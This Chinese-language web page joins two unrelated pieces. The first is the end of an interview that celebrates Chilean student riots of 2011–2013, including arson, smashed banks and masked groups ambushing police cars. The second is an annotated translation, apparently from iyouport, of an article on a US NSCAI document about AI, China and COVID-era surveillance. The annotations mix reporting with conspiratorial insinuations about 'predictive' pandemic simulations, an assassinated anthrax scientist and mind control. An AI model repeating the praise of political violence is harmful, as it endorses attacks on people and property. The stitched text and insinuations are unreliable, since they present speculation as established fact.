的眼中钉，而警察常常被抗议者的反击压倒。反抗的节日

把天空中的眼睛捅下来

Q：你想用智利学生斗争的任何故事来结束这次对话吗？

「图」

A：2011年的第一次大规模游行是为了抗议巴塔哥尼亚南部的水电大坝，这是 HidroAysen 公司的一个项目。政府批准了这个有争议的项目；作为回应，在总统府 La Moneda 前发生了大规模的、自发组织的游行活动。它以一场大骚乱结束。

和平主义和和解主义部门试图限制 “包围者” 的行动，但没有成功。他们最终离开了游行队伍。到了晚上10点左右，几乎所有的反动派都离开了，只有起义者留在了街上。沿着阿拉米达（Alameda）—— 贯穿圣地亚哥市区的主要大道—— 望去，人们可以看到各种银行变成了废墟，听到公司和机构的店面发出的玻璃的破碎声。一家麦当劳被留在火中。

“encapuchado 自行车骑行” 也很美。我相信在2011年和2013年之间发生了三次。他们通过社交网络和口口相传的方式进行宣传动员。警察不敢试图进入该行动。这些自行车骑行活动的前两次吸引了很多人 —— 我大胆猜测有500或600人组成，骑着自行车，一路破坏政治和商业广告，与豪华汽车对抗。该行动从意大利广场出发，没有像其他游行一样向市中心的总统府进发，而是向另一个方向进发，向圣地亚哥资产阶级上流社会的中心普罗维登西亚进发，最后到达巨大的科斯塔内拉中心商场 —— 拉丁美洲最高的摩天大楼，一个资本主义财富的象征。在前两次骑车活动中，他们设法用自行车进入商场，高呼 “国家去死！Viva la anarquía！” 并在墙上和奢侈品商店的窗户上涂鸦。

但最重要的是，2011年8月的那几天是令人难忘的。首先是8月4日的双重抗议（白天和夜晚），然后是智利工人联合中心（CUT）为期两天的罢工，得到学生和工会的支持。

8月4日，只是学生在行动，但参加人数众多。从早上7点开始，在圣地亚哥的各个地方设置了路障。下午，人们在整个城市中心与警察对峙。最后，没有举行游行 —— 政府没有批准它。然而，这是大规模的、普遍抗议的一天，人们从天井或窗外伸出头来敲打着锅碗瓢盆。这很不寻常，得到了大多数普通公民的支持。即使是拒绝暴力的嬉皮

士也开始向警察投掷石块，以回应不分青红皂白的镇压和专制的背景。

8月的那几天是那段时期为数不多的抗议活动，在这些活动中，暴力被学生运动的广大部门视为一种合法的策略。在市中心的所有街角，大批 encapuchados 在等待警车通过，以便攻击他们。到处都有路障，由于财产被毁，损失了数百万比索。这是我一生中见过的最普遍的起义事件。捍卫校园作为一个自治区。

街头狂野

藐视

最后送一部探索智利军事独裁政治遗产和抵抗形式的纪录片：***The Chicago Conspiracy***

The Ex-Worker podcast, episode #29: Anarchism in Chile, Part I

The Ex-Worker podcast, episode #30: Anarchism in Chile, Part II

The Student Movement in Chile

原文

他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕 - iyouport

COVID-19(84)公私监控伙伴关系关于高堡奇人长读

【2020年8月26日存档】“他们可以自由地耍流氓，然后他们就赢了。而我们必须比他们更流氓，只有这样才能战胜他们” …… 这是一篇非常出色的报道，其中揭示了很多曾经阴暗的未解之谜。

In this file photo from May 2, 2019, a computer monitors some of Cadet Cheyenne Quilter's reactions as she works with a virtual reality character named "Ellie" at the U.S. Military Academy at West Point, N.Y. Artificial intelligence is spreading into health care, often as software or a computer program capable of learning from large amounts of data and making predictions to guide care or help patients. (AP Photo/Seth Wenig, File)

去年，一个专门研究人工智能如何 “解决美国国家安全和国防需求” 的政府机构，根据最近通过FOIA申请获得的一份文件，该机构详细讨论了美国经济和社会必须进行的 “结构性” 变革，以确保对中国的技术优势。

这份文件认为，美国在人工智能驱动的技术相关的许多方面，⚠特别是对大规模监控技术的使用，都要跟随中国，甚至超越他们。

这种私下的观点显然与美国政府知名官员和政客对中国的公开言论相冲突，他们公开将中国政府的技术投资和出口监控系统及其他技术称为对美国人的 “生活方式” 的重大 “威胁”。

此外，在美国实施上述这样一个计划的许多步骤，正如这份新曝光的文件所规定的，目前正在作为政府应对冠状病毒(COVID-19)危机的一部分进行推广和实施。

这可能是由于该机构的许多成员与目前指导政府“重新开放经济”计划和利用技术应对当前危机的努力的工作组和顾问，有相当大的重叠。

电子隐私信息中心（EPIC）获得的这份FOIA文件是由一个鲜为人知的美国政府组织 —— 人工智能国家安全委员会（NSCAI）制作的。

该委员会是由2018年《国防授权法案》（NDAA）创建的，其官方目的是“审议推进人工智能（AI）、机器学习及相关技术发展所需的方法和手段，以全面解决美国的国家安全和国防需求。”

NSCAI 是政府应对通常被称为即将到来的“第四次工业革命“的关键部分，它被描述为“一场以人工智能（AI）、大数据、第五代电信网络（5G）、纳米技术和生物技术、机器人、物联网和量子计算等领域的非连续性技术发展为特征的革命”。

然而，他们的主要重点是确保“美国在人工智能、机器学习和其他与所谓的国家安全和国防相关的技术方面，保持技术优势”。

美国国家安全委员会副主席、前国防部副部长、鹰派新美国安全中心高级研究员 Robert Work 介绍说，该委员会的目的是确定“美国国家安全机构应该如何对待人工智能，⚠包括关注政府如何与工业界合作，与中国的‘军民融合’概念进行竞争。”

- “与工业界合作”就是 *公私监控伙伴关系* 我们在 列表-2 中有专题板块

最近，国家科技部发布的文件是2019年5月的一份题为“中国科技格局综述”的文件。

在整个文稿中，美国国家安全委员会宣传美国经济和生活方式的彻底改革是让美国确保其在技术上对中国拥有相当大的优势所必需的，因为失去这种优势目前被国安机构认为是一个重大的“国家安全“问题。

这种对保持技术优势的担忧也可以从其他多份军事文件和智库报告中看到，其中有多份报告都警告说，美国的技术优势正在迅速削弱。

美国政府和建制派媒体经常指责中国涉嫌间谍活动或中国政府与私营科技公司建立了较为明确的合作关系，以支持其声称的美国正在失去对中国的这种优势。

例如，中央情报局 In-Q-Tel 现任首席执行官 Chris Darby 去年曾对CBS新闻说，中国是美国在技术方面的主要竞争对手，美国的隐私法阻碍了美国在这方面对抗中国的能力，他说：

> “数据是新石油。中国充斥着数据。⚠而由于我们国家之间的隐私差异，他们没有像我们在收集和使用数据方面受到一样限制。他们拥有世界上最大的标签数据集这一观念将令他们具有巨大的优势。”

在另一个例子中，Michael Dempsey —-前国家情报局代理局长，目前是政府资助的外交关系委员会研究员 —— 在 The Hill 上说：

> “中国的技术优势很明显，但中国决心消除我们的技术优势，并为此投入了数千亿美元的资金

美国国家安全机构如此担心失去对中国的技术优势，以至于五角大楼最近决定直接与美国情报界联合起来，以“抢在中国人工智能进步的前面”。

这种联合导致了“联合人工智能中心（JAIC）”的成立，该中心将“军方的努力与情报界的努力联系在一起，使他们能够突破性地推动政府的人工智能举措。”

它还与其他政府机构、产业界、学术界和美国盟友进行协调。后来成为国家安全与合作委员会副主席的 Robert Work 当时说，JAIC 的成立是“应对中国、以及在较小程度上应对俄罗斯主导这些技术的计划的第一步，值得欢迎。”

NSCAI 主席、Alphabet—谷歌母公司的前掌门人 Eric Schmidt 也表达了类似的担忧，他在2月份的《纽约时报》上说，如果美国政府不采取行动，硅谷可能很快就会在“技术战争”中输给中国。

因此，美国国家安全局内部的三大代表 —— 情报界、五角大楼和硅谷 —— 都认为中国在人工智能方面的进步是一个重大的国家安全威胁（对硅谷来说，是对其市场份额的威胁），必须迅速应对。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

瞄准中国的“采用阶段优势”

「图」

在2019年5月的“中国技术格局综述”文件中，NSCAI 讨论到，虽然美国在人工智能及相关技术的“创造”阶段仍然领先，但是由于“结构性因素”，在“采用”阶段落后于中国。

文件说，“创造”、其次是“采用“和“迭代”是“新技术生命周期”的三个阶段，并断言如果美国在“采用”阶段不占优势，将让中国在可预见的未来“跨越式”地主宰美国，主宰人工智能。

该文稿还认为，要想在新兴市场上“跨越式”发展以压过竞争对手，需要的不是“个别的辉煌”，而是特定的“市场内存在的结构性条件”。

它列举了几个案例，认为中国之所以被认为正在出现超越美国的“跨越式”发展，是因为这些“结构性因素的重大差异”。因此，文件的影射是（虽然没有直接说出来）美国必须改变目前在人工智能驱动技术的“采用”阶段落后于中国的“结构性因素”。

在这份介绍中强调的麻烦的“结构性因素”中，最主要的是所谓的“遗留制度”，这些制度在美国很常见，但在中国却少得多。

⚠NSCAI 的文件指出，“遗留制度”的例子包括仍在使用的现金和刷卡支付的金融系统、个人拥有汽车，甚至包括接受人类医生的医疗服务。

文件称，虽然美国的这些“遗留系统”足够好，但是太多“足够好的系统阻碍了新事物的采用”，特别是AI驱动的系统。

⚠ NSCAI 认为，另一个阻碍美国保持对中国技术优势的结构性因素是“消费市场规模”，认为“极端的城市密度＝按需服务的采用”。

换句话说，极端的城市化导致更多的人使用在线或移动端的“按需”服务，从共享单车到网购等。

⚠ 报告还举例说，中国有着“庞大的人口基数”的大众监控的使用，是中国“消费市场规模化“的优势，让“中国在人脸识别等相关技术领域飞跃式发展的一个例子”。

他们居然认为这是“优势”！

除了指称美国的“遗留系统”的缺陷和缺乏“极端城市密度”之外，NSCAI还呼吁政府提供更多的“明确的支持和参与”，旨在加快这些系统在美国的采用，⚠ 这包括政府将其存储的平民数据借给AI培训，特

别是引用面部识别数据库，并强制要求城市“围绕**AV [**自动驾驶汽车**]**重新架构”，等等。

所列举的其他例子包括政府向AI初创公司投资大量资金，并将科技巨头加入到一个专注于智能城市实施的全国性、公**-**私**AI**工作组中（除其他外）。

⚠关于后者，文件称，中国的“这种程度的公私合作”在中国“被有关各方外在接受”，这“与围绕硅谷向美国政府讲述的争议形成了鲜明的对比。”

从 NSCAI 的角度来看，这种争议的例子很可能包括谷歌员工请愿终止谷歌与五角大楼的“Maven 项目”，该项目使用谷歌的AI软件分析无人机拍摄的镜头。

⚠简单说就是：美国有反抗，中国没有。而该内部文件将中国的没有反抗视为“优势”。

谷歌最终选择不再续签 Maven 项目的合同，尽管谷歌高层将该项目视为与军方和情报界更紧密合作的“黄金机会”，但由于争议，谷歌最终不得不放弃。

该文件还将政府支持的另一个方面定义为“清理监管障碍”。文件中专门针对美国隐私法使用了这个词，尽管国安部门长期以来都在违反这些法律，且几乎完全不受惩罚。

—— 他们将隐私法视为“障碍”。

⚠该文件似乎是在暗示美国的隐私法应该改变，让美国政府对公民私人数据“暗中”做的事可以更公开、更广泛地进行。

NSCAI 的文件还讨论了消除“监管障碍”，以加快自动驾驶车汽车的采用，尽管自驾技术已经导致了多起致命的车祸，并提出了其他安全问题。

此外，文件还讨论了中国的“采用阶段优势”将如何在“AI医疗诊断”和所谓的“智能城市“等多个新领域“压过美国”。然后，它断言，“未来将取决于中美之间的民营企业和政策领袖如何联盟” —— 简单说，依旧是强调 *公私监控伙伴关系*。

该文件警告说，如果不对全球人工智能市场进行这种协调，”我们[美国]有可能被排除在围绕人工智能的规范设定的讨论之外。”

该文稿还相当多地阐述了”[科技领域] 的主战场不是中国国内和美国市场，”而是它所说的NBU（下一个10亿用户）市场，其中指出 “中国玩家将积极挑战硅谷”。

- 关于上述，更多详细报告可以参见 列表-4 “关于高堡奇人” 板块

为了更成功地挑战他们，该文稿认为，“就像我们[视青少年市场为新趋势的预兆一样，我们应该把目光投向中国。”

- 《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》
- 《中国的反乌托邦监视国家是美国制造的》

该文件还对中国比美国更广泛、更密集地输出人工智能表示担忧，称中国通过帮助津巴布韦建立人脸数据库、向马来西亚出售图像识别和智能城市系统，“已经在跨越国界”。

- 对于上述这点，更多详细内容参见 列表-4 “作恶者：中国在帮谁”

文章称，如果允许中国成为 “人工智能领域毫不含糊的领头羊”，“中国最终可能会写下围绕人工智能部署的大部分国际规范”，并称这将 “扩大中国在国际社会中的影响范围，因为国际社会越来越多地将中国和新加坡的实用专制主义视为西方自由民主的替代方案”。

美国的所谓 “遗留系统” 将被什么所取代

「图」

鉴于文件相当明确地指出，美国的 “遗留系统” 阻碍了美国阻止中国在人工智能领域 “大跃进” 的能力，继而在可预见的未来称霸，因此，该研究文件建议美国应该用什么来取代这些 “遗留系统” 的问题很重要。

如前所述，文件中很早就提到的一个 “遗留系统 “是大多数美国人的主要支付手段，即现金和信用卡/借记卡。文件中断言，⚠ 与这些 “遗留系统” 相比，最好、最先进的系统正在完全转向基于智能手机的数字钱包。

- 现金为什么是敌人？因为隐私是敌人，隐私是敌人是因为它使

政府控制变得更加困难。详细内容参见 列表-2 板块 “监视区块链和反现金之战”

该文件特别指出，印度主要的移动钱包提供商 PayTM 由中国公司拥有大部分股权。它引用了一篇文章，称 “一个大的突破口来了[2016年]，当时印度取消了86%的流通货币，试图通过强迫人们少用现金，减少腐败，让更多的人进入税网。”

当时，有人称印度2016年的 “货币改革” 将被作为迈向无现金社会的垫脚石，这被一些人以 “阴谋论” 的口吻驳斥。

然而，去年，印度央行召集的一个委员会（由一位印度科技寡头领头，此人还创建了印度大规模的民用生物识别数据库），导致了政府的 “无现金印度” 计划。

关于印度2016年的所谓 “货币改革”，NSCAI 文件随后断言，“这在西方国家是不可想象的。而毫不意外的是，⚠当**86%**的现金被取消了，没有人有信用卡的时候，印度的移动钱包就爆发了，这为印度的支付生态圈的发展奠定了远比美国更先进的基础。”

☞ 并且，鉴于目前的冠状病毒危机，由于纸币可能携带病毒，因此减少现金的使用量的努力以及推出美联储支持的 “数字化美元” 的努力，已经变得越来越不那么深不可测。

此外，去年5月发布的 NSCAI 文件呼吁结束实体店购物，并推动所有购物都在网上进行 —— 让政府监视你生活中的一切。

该文件认为，⚠“美国公司通过采用中国公司的理念，转向专属的电子商务购买方式，可以让美国公司受益匪浅”。

它还指出，只有网上购物才能提供 “很好的体验”，同时还补充说，”当网上购物是唯一能得到你想要的东西的途经时，消费者就会去网上购物。”（太狠了，这将需要通过限制实体店进货来实现）

NSCAI 寻求改革的另一个 “遗留制度” 是汽车，因为该委员会提倡自动驾驶，并进一步宣称 “车队所有权」个人所有权”。

⚠ 它特别指出，需要 “建立一个集中化的共享乘车网络”，并称 “需要协调所有汽车，以达到接近 **100%** 的利用率”。

该文件还警告说，运营共享网络 “需要为每辆车配上一个人工操作人员”，并声称 “车队所有权比个人汽车所有权更有意义”。

该报告还特别呼吁这些车队不仅要由自动驾驶汽车组成，而且还要由电动汽车组成，并援引报道称，中国 “拥有世界上最激进的电动汽车目标 … 并寻求在新兴产业中领先” —— 依旧是以中国为“榜样”，这就是该内部文件整体上的可怕之处。

该文件称，尽管共享汽车是在美国率先推出的，但中国今天在共享方面仍处于领先地位。

该报告还预测，中国将 “比美国更早实现大规模自动驾驶[汽车]的采用”，这主要是因为 “中国缺乏大规模的私人汽车所有权，导致消费者对AV的接受度要高得多”。然后指出，”早期的大规模采用会导致良性循环，使中国的核心自驾车技术加速超越[其]西方同行。”

除了他们对未来金融系统和未来自驾车交通系统的愿景之外，NSCAI 对监控也有一个类似于乌托邦式的愿景。⚠ 该文件将大规模监控称为 “人工智能的 ‘第一大客户’”，并称其为 “深度学习的杀手级应用。” 它还指出，”在街道上广泛铺设监视摄像头是良好的基础设施”。

然后，⚠ 它讨论了 “一代AI独角兽” 公司如何 “从政府维稳合同中 “积累到了大部分早期收入”，并赞扬了AI在促进警务活动中的应用。

例如，它赞扬了 “警方正在根据 iFlyTek 的语音识别技术监控的手机进行取证定罪” 的报道，以及 “警察部门正在使用[AI]面部识别技术协助从抓获交通违法者到解决谋杀案等一切事。”

- ⚠中国的语音识别领导者 iFlytek 也可能会提供软件来监控新疆的电子通信，见《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》

他们羡慕中国 …… 你知道这有多危险。

具体到人脸识别技术这一点，NSCAI 文件断言，中国在人脸识别上已经 “跃居” 美国之上，尽管 “在使用机器学习进行图像识别方面的突破最初发生在美国”。

- ☞人脸识别技术最初用于迪斯尼主题公园，随后便用来追捕占领华尔街的抗议者，更多详见 《为什么必需拒绝大数据——监视之恶（二）公私监控伙伴关系》

⚠该文件声称，中国在这方面的优势在于他们有政府实施的大规模监控（”清除监管障碍”）、政府提供的巨大数据存储（”明确的政府支持”），再加上私人部门的数据库，以及庞大的人口基数（“消费市场

规模”）。NSCAI 认为，因此，中国也将在图像/面部识别和生物识别领域领先于美国。

听听，他们依旧称其为“优势”……

该文件还指出了美国与对手[中国]的另一个明显的区别，指出：”在美国和欧洲的媒体和政界，AI 被描绘成了一个令人恐惧的东西，它侵蚀了人们的隐私权，窃取人们的工作。”相反，中国则将其视为既是解决重大宏观经济挑战以维持其经济奇迹的工具，也是在全球舞台上取得技术领先优势的机会。”

- 《AI 军备竞赛》
- 《“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》

NSCAI 文件还涉及到了医疗领域，呼吁在当前的冠状病毒危机下，一个似乎正在成为现实的系统的实施。

在讨论人工智能在医疗领域的应用时（在当前危机开始前近一年），该文件指出，“中国可能会在这一领域引领世界”，“这可能会导致他们更多输出技术并制定国际规范。”

原因之一也是中国的医生“太少了”，并称，拥有足够多的医生上门看病是“美国的遗留制度障碍”。

该文件还引用了美国的监管措施，如“HIPPA 合规性和 FDA 审批”等，认为这些障碍并不制约中国当局。（把监管也称为“障碍”……）

⚠ 更令人不安的是，该文件认为，“政府提供的数据在生物学和医疗保健领域的潜在影响甚至更大”，并称很可能“中国政府[将]要求每一个公民进行DNA测序并存储在政府数据库中，这在美国和欧洲这样注重隐私的地方几乎是无法想象的”。它接着说，“中国机构已经做好了利用的准备”，并称：这些民用**DNA**数据库是“合乎逻辑的下一步”。

天呐……

- 《美国公司如何帮助中国借助 DNA 数据追踪公民》
- 《失控的DNA收集实践》
- 《当政府想要你的 DNA》

NSCAI 是谁？

「图」

鉴于 NSCAI 在去年5月的这份文件中推动了对美国的全面变革，研究一下这个委员会由谁组成的、并考虑他们在这些问题上对美国政策的影响，特别是在当前的疫情危机中的影响，是非常重要的。

如前所述，NSCAI 的主席是 Alphabet（谷歌母公司）前掌门人 Eric Schmidt，他也曾大量投资于与以色列情报相关的科技公司，包括有争议的初创公司 “孵化器” **Team8**。

此外，该委员会的副主席是 Robert Work，不仅是五角大楼的前高官，目前还在智库 **CNAS** 工作，该智库由约翰-麦凯恩的长期外交政策顾问、乔-拜登的前国家安全顾问掌管。

👇NSCAI 的其他成员如下：

- 甲骨文首席执行官 Safra Catz，与特朗普的最大捐助者 Sheldon Adelson 有密切关系；
- 加州理工学院实验室人工智能部门主管 Steve Chien；
- Mignon Clyburn，开放社会基金会研究员，前**FCC**专员；
- In-Q-Tel（**CIA**的风险投资部门）首席执行官 Chris Darby；
- 佛罗里达人类与机器认知研究所首席执行官 Ken Ford；
- 达科他州立大学校长，前国家科学委员会委员 Jose-Marie Griffiths；
- 微软研究实验室主任 Eric Horvitz
- **Amazon** Web Services 首席执行官（CIA最大承包商）Andy Jassy；
- Gilman Louie，**Alsop Louie Partners** 的合伙人和 **In-Q-Tel** 的前首席执行官；
- 现 SRI International 董事兼、前洛克希德·马丁公司董事 William Mark；
- 安全和新兴技术中心主任，原国家情报局助理局长和 **IARPA**（情报高级研究计划局）原局长 Jason Matheny；
- 赛普拉斯国际公司的顾问、前国防部负责收购事务的助理部长 Katharina McFarland；
- **Google** Cloud AI负责人 Andrew Moore。

从上面的列表中可以看出，NSCAI 与目前为白宫提供关于 “重新开放” 经济的建议的公司（微软、亚马逊、谷歌、洛克希德·马丁、甲骨文）和白宫 “经济复兴” 工作组的成员甲骨文公司的 Safra Katz，存在大量重叠。

☞此外，NSCAI 与密切参与实施 “接触者追踪”、“冠状病毒监视系统” 的公司之间也存在明显重叠 —— 这是由 Jared Kushner 领导的私营部门 *冠状病毒工作队* 推动的大规模监视系统。

⚠ 该监视系统将由与 Google 和美国国家安全局有密切联系的公司构建，而为美国使用的大多数智能手机创建操作系统的 Google 和 Apple 都表示，他们现在正在将该监视系统直接集成到其智能手机操作系统中。

☞ 同样值得注意的是，In-Q-Tel 和美国情报界在 NSCAI 中拥有相当多的代表，而且他们还与谷歌、Palantir 和其他硅谷巨头有着密切的关系，曾是这些公司的早期投资者。

谷歌和 Palantir 以及亚马逊（也在NSCAI中）都是情报机构的主要承包商。

In-Q-Tel 在 NSCAI 中的参与也很重要，因为他们在过去几年里一直在大力推动对消费类电子设备的大规模监控，以疫情为借口。

这一推动力很大程度上来自于 In-Q-Tel 公司现任执行副总裁 Tara O’Toole，她曾是约翰-霍普金斯健康安全中心的主任，也是《Dark Winter》等几部颇具争议的生物战/大流行病模拟的共同作者。

（译者注：Dark Winter “暗冬行动” 是2001年6月22日至23日进行的高级生物恐怖袭击模拟的代号。它旨在对美国进行一次秘密而广泛的天花攻击的模拟版本。）

此外，至少从今年1月起，美国情报界和五角大楼就开始与国家安全委员会一起制定了美国政府针对冠状病毒危机的 **“9–11”** 式的应对计划，目前仍处于保密状态。

很少有新闻机构注意到，这些保密的应对计划，如果美国的冠状病毒病例达到一定数量，就会被触发，☞而这些计划主要是由国家安全部门（即国家安全委员会、五角大楼和情报部门）的人员制定的，而不是民间机构或专注于公共卫生问题的机构 —— 它们真的会用来防疫吗？

此外，有报道称，美国情报界以及美国军方的情报部门至少在1月就知道（尽管有报道显示早在去年11月就知道）冠状病毒危机将在3月前达到 “大流行的程度”。

美国公众没有得到警告，但商界和政界的精英人士显然是知道的，因

为**1**月份的**CEO**辞职人数创下了历史新高，而在目前的危机发生前几周就发生了多起高调的内幕交易指控。

也许更令人不安的是，美国政府不仅参与了去年**10**月被称为 **“Event 201”** 的预知性大流行病模拟，还在去年领导了一系列的大流行病应对模拟。

“Crimson Contagion” 是由19个美国联邦机构，包括情报部门和军方在内的19个联邦机构，以及12个不同的州和许多私营部门公司参与的四次模拟活动，模拟了一场源于中国的毁灭性的大流行病爆发。

（译者注：Crimson Contagion是由美国卫生与公众服务部于2019年1月至8月进行的模拟，测试了美国联邦政府和美国12个州对源自中国的严重流感大流行的反应能力。这次演习涉及一个场景，其中从中国返回的游客从芝加哥开始在美国传播呼吸道病毒。在不到两个月的时间里，该病毒感染了1.1亿美国人，造成超过50万人死亡。）

这场模拟是由现任美国国土安全部负责准备和应对的助理部长 **Robert Kadlec** 领导的，他曾是军方和情报承包商的说客，也是布什时代的国土安全 “生物恐怖主义” 顾问。Health and Human Services Assistant Secretary for Preparedness and Response Dr. Robert Kadlec speaks before a Senate Health, Education, Labor and Pensions Committee hearing on the coronavirus on Capitol Hill, Tuesday, March 3, 2020, in Washington. (AP Photo/Andrew Harnik)

此外，Kadlec 和约翰-霍普金斯卫生安全中心也密切参与了 “Event 201”，该中心与2001年6月有争议的 Dark Winter “暗冬行动” 生物战演习有直接关系，该演习预言了**2001**年的炭疽病袭击，而几个月后的炭疽病袭击事件就以令人不安的方式发生了。

虽然媒体和政府努力将炭疽病袭击事件归咎于外国来源，但是，后来发现炭疽病源于美国的一个生物武器实验室，联邦调查局对该案的调查被广泛认为是在掩盖事实，包括联邦调查局曾经负责该案的首席调查员也认为是在掩盖事实。

- 关于炭疽病毒的发明者（CIA生物武器科学家）是如何被暗杀的，此案花费了数十年的时间才得以浮出水面，详见《真的有脑控这种事吗：一项尘封的恐怖实验和暗杀的真相》

鉴于上述情况，值得追问的是，那些与 NSCAI 有相同看法的人是否

在很早开始就将冠状病毒大流行视为一个 *机会* ，将其视为应对中国在大规模采用人工智能驱动的技术方面的领先优势的 “结构性变革”，特别是考虑到**2019**年**5**月文件中的许多提案现在正以 “应对冠状病毒危机” 为幌子迅速发生。

这是一个关键问题。

NSCAI 愿景已经初具规模

「图」

虽然2019年5月 NSCAI 的文件是在一年多前起草的，冠状病毒危机导致许多变化的实施，并 *消除* 了该委员会认为需要彻底改变的许多所谓的 “结构性” 障碍，以确保在AI领域超过中国的技术优势。前面提到的反现金，不仅在美国、在全球都正在飞速发生，而这只是其中的一个例子而已。

例如，最近CNN报道称，杂货店现在正在考虑禁止店内购物，美国劳工部已经建议全国范围内的零售商开始使用开车窗口或提供路边取货。

此外，上周，佛罗里达州批准了一项针对使用营养补助计划（SNAP）的低收入家庭的网上购买计划。

其他报道认为，杂货店内实施社会疏离是无效的，并危及人们的生活。如前文所述，2019年5月的 NSCAI 文件就认为，为了缓解中国的 “采纳优势”，鼓励在线购物并抵制实体店是必要的，同时也认为 “当网购是唯一能得到你想要的东西的途经时，消费者就会去网购。”

报道还认为，这些购物方式的变化将远远超过冠状病毒，如《商业内幕》杂志（Business Insider）的一篇题为 “冠状病毒的流行正在推动更多的人上网购物，并将永远改变美国人的购物方式” 的文章中引用的专家认为，这种远离实体店购物的转变将是 “永久性的”，还表示，“更多的人正在尝试这些服务，比起没有这种催化剂的情况下（催化剂指的是冠状病毒），现在更多的人正在尝试这些服务，并给了在线玩家更大的机会来获取和保持新的客户群。”

雅虎新闻也有类似的文章认为，由于目前的危机，“我们对网购的依赖性只会上升，因为没有人愿意在商店里染上病毒。”

此外，再一次，*得益于* 冠状病毒，无人驾驶汽车的大规模使用也得

到了推动，目前无人驾驶汽车已经在加州按需送货。

有两家公司，一家是中国公司，另一家是由日本软银支持的公司，他们的自驾车产品已经被批准在加州的道路上使用，而这一批准也因为冠状病毒危机而被加快了。

- 具体详见《加州让两家中国初创公司向公众提供 Robotaxis》

彭博社援引软银支持的 Nuro Inc.的CPO的话说："Covid-19 疫情加速了公众对非接触式配送服务的需求。我们的R2车队是为改变驾驶和货物运输的本质而定制的，让人们获取到杂货、药品和包裹的同时，还能安全地呆在家里，从而改变了驾驶和货物运输的本质。"

☞ 值得注意的是，**2019年5月的NSCAI**文件中就提到，软银支持的公司，特别是由其主要由沙特资助的"愿景基金"支持的公司，形成了"全球科技公司联盟的连接组织"，将主导人工智能。

加州并不是唯一一个开始使用自动驾驶汽车的州，佛罗里达州现在也在使用自动驾驶汽车。"使用人工智能使我们能够通过使用最先进的自主驾驶汽车技术保护员工免受这种传染性病毒的感染，并释放出员工的时间，让他们可以将时间用于直接治疗和护理病人，"佛罗里达州梅奥诊所的首席执行官 Kent Thielen 医学博士说，在最近的一份新闻稿中被Mic引用。

就像冠状病毒时代对购物方式的改变一样，其他报道也断言，自动驾驶汽车的热潮将由此诞生。

（译者注：自动驾驶汽车意味着全面监控每个人的出行；如果黑客控制了系统，它将可能被用于绑架。在我们暂时不考虑车祸的情况下）

Mashable 发布的一篇报道的标题是"冠状病毒爆发后，自动驾驶汽车才变得更有吸引力"，文章开篇就说："突然间，一个充满了自动驾驶汽车的未来不只是科幻。曾经被许多美国人认为是一种可怕的、不确定的技术，现在看起来更像是一种有效的工具，可以保护自己免受快速传播的传染性疾病的侵袭。"

文章进一步认为，这几乎不是"转瞬即逝"的驾驶习惯的转变，而是长久的改变，文章中引用的一位科技 CEO、Steer Tech 的 Anuja Sonalker 声称，"无人、无接触技术已经明显升温。人类是生物性危害，机器不是。"

NSCAI 文件的另一个焦点是 —— AI医学，最近几周也体现出了它的

明星效应。

例如，有几篇报道吹捧了AI驱动的药物开发平台如何发现冠状病毒的潜在治疗方法。微软公司研究实验室主任就在 NSCAI 的成员列表上，最近该公司向其 “AI for Health” 计划投入了2000万美元，以加速利用AI分析冠状病毒数据。

此外，所谓的 “远程医疗” 也因冠状病毒危机而被广泛采用。

由于冠状病毒的影响，其他一些人工智能驱动的技术也同样得到了更广泛的应用，包括利用大规模监控进行 “接触者追踪”、以及面部识别技术和生物识别技术。

华尔街日报最近的一篇报道称，政府正在认真考虑通过手机地理定位数据和面部识别技术来追踪那些可能感染冠状病毒的人。此外，私营企业 —— 如杂货店和餐馆 —— 也在利用传感器和面部识别技术，查看有多少人和哪些人进入了他们的店。

至于生物识别技术，大学研究人员现在正在努力确定 “智能手机和生物识别可穿戴设备是否已经包含了需要的数据，以了解是否感染了新型冠状病毒。” ⚠ 这些努力旨在通过分析 “睡眠时间、氧量水平、活动水平和心率 “等智能手机应用程序（如**FitBit**和智能手表），寻求早期检测冠状病毒感染。

- 现在也许您可以更容易理解早前这篇报道的含义了：《Google买下了Fitbit，这对您的数据隐私意味着什么？》⚠请注意：谷歌的收购行为发生在**2019**年**11**月

在美国以外的国家，生物识别身份认证也正在被广泛吹捧为追踪那些对冠状病毒有免疫力和缺乏免疫力的人的方式。

此外，The Edge 杂志的一份报告认为，目前的危机正在改变应该使用何种类型的生物识别技术，⚠并断言必须转向热扫描和面部识别。

> “在这一危机的关键时刻，任何一体化的面部识别和热扫描解决方案都必须方便、快速和具有成本效益地实施。回到办公室或工厂的人们必须不需要争先恐后地学习新的流程，就可以感到安全和健康，这样他们才能有效地工作。⚠

同样 *受益于* 冠状病毒危机的还有所谓的 “智能城市” 的概念，福布斯最近写道：”智能城市可以帮助我们对抗冠状病毒的流行。”

该文章称，“各国政府和地方当局都在利用智能城市技术、传感器和大数据来追踪感染冠状病毒的人的联系方式。同时，智能城市也在帮助确定人们是否遵守社会疏离规则。”

- 《究竟什么是智能城市？谁发明这个邪恶的概念以掩盖1984的本质？》

福布斯上的那篇文章还包含以下段落：

> …… 对大量联网传感器的使用表明，冠状病毒大流行正被有意无意地用作可能威胁到隐私和公民自由的新监控技术的试验台。因此，冠状病毒除了是一场全球性的健康危机之外，

英国《卫报》的另一篇报道称，“如果政府从冠状病毒中得到的一个启示是，‘智能城市’从公共卫生的角度来看是更安全的城市，那么我们完全可以预期对在城市地区使用数字方式捕捉和记录我们的一举一动、并将这种监控权交给大企业和国家的行为进行更激烈的辩论。”也有报道称，与“智能城市“相比，普通城市在面对大流行病时“准备不足”。

然而，除了NSCAI对如何更大规模采用人工智能的许多具体担心被目前的疫情危机方便地解决了之外，他们还在共同努力改变公众对人工智能的普遍看法。如前所述，NSCAI去年就这样说过 —— 他们羡慕中国。

现在，在不到一年后的今天，⚠冠状病毒危机在过去几周内催生了一连串的头条新闻，其中包括“人工智能如何帮助抗击冠状病毒”、“人工智能如何预防下一次冠状病毒爆发”、“AI成为抗击COVID-19的盟友”、“人工智能在对抗COVID-19的战斗中挺身而出”、”人工智能如何帮助非洲抗击冠状病毒”……等等。

确实令人震惊的是，冠状病毒危机似乎已经实现了警察国家的全部愿景，为大规模采用人工智能技术扫除了许多障碍。

